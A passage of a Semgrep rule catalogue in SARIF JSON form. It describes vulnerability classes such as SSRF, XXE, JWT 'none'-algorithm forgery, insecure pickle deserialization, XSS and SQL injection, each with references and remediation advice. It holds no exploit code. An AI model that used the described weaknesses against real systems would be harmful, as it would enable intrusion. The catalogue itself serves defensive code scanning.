some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-connection.tainted-url-to-connection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/PHP/PHP_vuln_function.md](https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/PHP/PHP_vuln_function.md)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-connection.tainted-url-to-connection","id":"php.lang.security.tainted-url-to-connection.tainted-url-to-connection","name":"php.lang.security.tainted-url-to-connection.tainted-url-to-connection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-connection.tainted-url-to-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","id":"ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","name":"ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers."},"help":{"markdown":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","id":"javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","name":"javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead."},"help":{"markdown":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR06-C.+Do+not+assume+that+strtok%28%29+leaves+the+parse+string+unchanged](https://wiki.sei.cmu.edu/confluence/display/c/STR06-C.+Do+not+assume+that+strtok%28%29+leaves+the+parse+string+unchanged)\n - [https://man7.org/linux/man-pages/man3/strtok.3.html#BUGS](https://man7.org/linux/man-pages/man3/strtok.3.html#BUGS)\n - [https://stackoverflow.com/a/40335556](https://stackoverflow.com/a/40335556)\n","text":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","id":"c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","name":"c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption."},"help":{"markdown":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-free.double-free)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-free.double-free","id":"cpp.lang.security.memory.deallocation.double-free.double-free","name":"cpp.lang.security.memory.deallocation.double-free.double-free","properties":{"precision":"very-high","tags":["CWE-415: Double Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.deallocation.double-free.double-free"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","id":"python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","name":"python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","id":"java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","name":"java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"help":{"markdown":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n","text":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","id":"typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","name":"typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","id":"csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","name":"csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","id":"java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","name":"java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network."},"help":{"markdown":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-https.swift-webview-config-https-upgrade)\n - [https://developer.apple.com/documentation/webkit/wkwebviewconfiguration/3752243-upgradeknownhoststohttps](https://developer.apple.com/documentation/webkit/wkwebviewconfiguration/3752243-upgradeknownhoststohttps)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-https.swift-webview-config-https-upgrade","id":"swift.webview.webview-https.swift-webview-config-https-upgrade","name":"swift.webview.webview-https.swift-webview-config-https-upgrade","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-https.swift-webview-config-https-upgrade"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.rsa.rsa-insecure-hash.rsa-insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/python.rsa.rsa-insecure-hash.rsa-insecure-hash","id":"python.rsa.rsa-insecure-hash.rsa-insecure-hash","name":"python.rsa.rsa-insecure-hash.rsa-insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.rsa.rsa-insecure-hash.rsa-insecure-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later."},"help":{"markdown":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override)\n - [https://github.com/nodesecurity/eslint-plugin-security/blob/master/docs/bypass-connect-csrf-protection-by-abusing.md](https://github.com/nodesecurity/eslint-plugin-security/blob/master/docs/bypass-connect-csrf-protection-by-abusing.md)\n","text":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","id":"javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","name":"javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","id":"python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","name":"python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongoose-express.mongoose-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, 